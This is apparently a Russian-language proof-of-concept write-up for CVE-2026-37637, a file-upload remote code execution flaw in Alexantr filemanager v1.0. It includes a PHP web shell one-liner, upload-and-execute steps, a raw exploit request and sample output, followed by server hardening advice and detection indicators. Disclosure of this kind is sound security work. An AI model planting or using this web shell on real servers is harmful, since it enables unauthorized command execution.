
Удалённое выполнение кода в Alexantr filemanager v1.0 через неограниченную загрузку файлов
Proof of Concept для CVE-2026-37637 — удалённое выполнение кода в Alexantr filemanager v1.0 через неограниченную загрузку файлов в filemanager.php.
CVE-2026-37637 — это уязвимость удалённого выполнения кода, затрагивающая Alexantr filemanager v1.0.
Уязвимость существует в компоненте filemanager.php из-за недостаточной проверки загружаемых файлов. Удалённый злоумышленник может загрузить вредоносный PHP-файл в веб-доступный каталог и выполнить произвольные команды на сервере.
Статус CVE: отправлено в MITRE
Исследователь: CYBER-SEC Репозиторий разработчика: https://github.com/alexantr/filemanager
| Пункт | Описание |
|---|
| CVE ID | CVE-2026-37637 |
| Тип уязвимости | Удалённое выполнение кода |
| Затронутый продукт | Alexantr filemanager |
| Затронутая версия | v1.0 |
| Уязвимый компонент | filemanager.php |
| Вектор атаки | Удалённый |
| Требуется аутентификация | Зависит от развёртывания/конфигурации |
| Воздействие | Выполнение произвольных команд |
| Корневая причина | Неограниченная загрузка файлов и отсутствие серверной проверки файлов |
Злоумышленник может загрузить вредоносный PHP-файл через функциональность загрузки файлов. Поскольку загруженные файлы хранятся в веб-доступном месте и выполнение PHP разрешено, злоумышленник может выполнять произвольные системные команды на сервере.
Успешная эксплуатация может позволить злоумышленнику:
Приложение позволяет пользователям загружать произвольные файлы без надлежащей проверки расширения файла, MIME-типа или содержимого файла.
Может быть загружен вредоносный PHP-файл, например следующий:
<?php system($_GET['cmd']); ?>
После загрузки в веб-доступный каталог злоумышленник может выполнять команды, обращаясь к файлу через браузер и передавая команды через параметр cmd.
Пример:
http://target/uploads/shell.php?cmd=id
Это приводит к выполнению команд в базовой операционной системе.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
Откройте приложение в браузере:
http://localhost:8000/filemanager.php
В зависимости от развёртывания или конфигурации приложение также может быть доступно через:
http://localhost:8000/pheditor.php
Создайте файл с именем shell.php:
<?php system($_GET['cmd']); ?>
Загрузите файл с помощью функциональности загрузки приложения.
После загрузки файла обратитесь к нему напрямую из браузера:
http://localhost:8000/uploads/shell.php?cmd=id
Если эксплуатация успешна, сервер выполнит команду и вернёт вывод.
Пример вывода:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
Команда, переданная через параметр cmd, выполняется на сервере.
Уязвимость вызвана недостаточной серверной проверкой в функциональности загрузки файлов.
Приложение не ограничивает должным образом:
В результате исполняемые PHP-файлы могут быть загружены и выполнены напрямую.
Разработчик и пользователи должны внедрить следующие меры защиты.
Запретите загрузку исполняемых типов файлов, таких как:
.php, .phtml, .php3, .php4, .php5, .phar
Разрешайте только ожидаемые типы файлов, например:
.jpg, .png, .gif, .txt, .pdf
Не полагайтесь только на заголовок Content-Type, предоставленный клиентом.
Проверка файлов должна выполняться на стороне сервера.
Загруженные файлы не должны быть напрямую исполняемыми или публично доступными.
Для Apache это можно сделать с помощью .htaccess:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Для Nginx запретите обработку PHP в путях загрузки:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Используйте случайные имена файлов, генерируемые сервером, и удаляйте расширения, контролируемые пользователем.
Ограничьте функциональность загрузки только доверенными пользователями.
Администраторы могут искать подозрительные загруженные PHP-файлы в веб-доступных каталогах.
Примеры индикаторов:
shell.php
cmd.php
upload.php
backdoor.php
.php файлы внутри каталогов загрузки
Подозрительные шаблоны запросов могут включать:
?cmd=
?exec=
?shell=
?command=
Пример записи в журнале:
GET /uploads/shell.php?cmd=id HTTP/1.1
Этот репозиторий предоставлен исключительно в образовательных целях и для защиты систем.
Информация и proof of concept предназначены для помощи разработчикам, системным администраторам и специалистам по безопасности в понимании и устранении уязвимости.
Не используйте эту информацию для атак на системы без явного разрешения. Несанкционированный доступ к компьютерным системам является незаконным.
Автор не несёт ответственности за любое неправомерное использование информации, представленной в этом репозитории.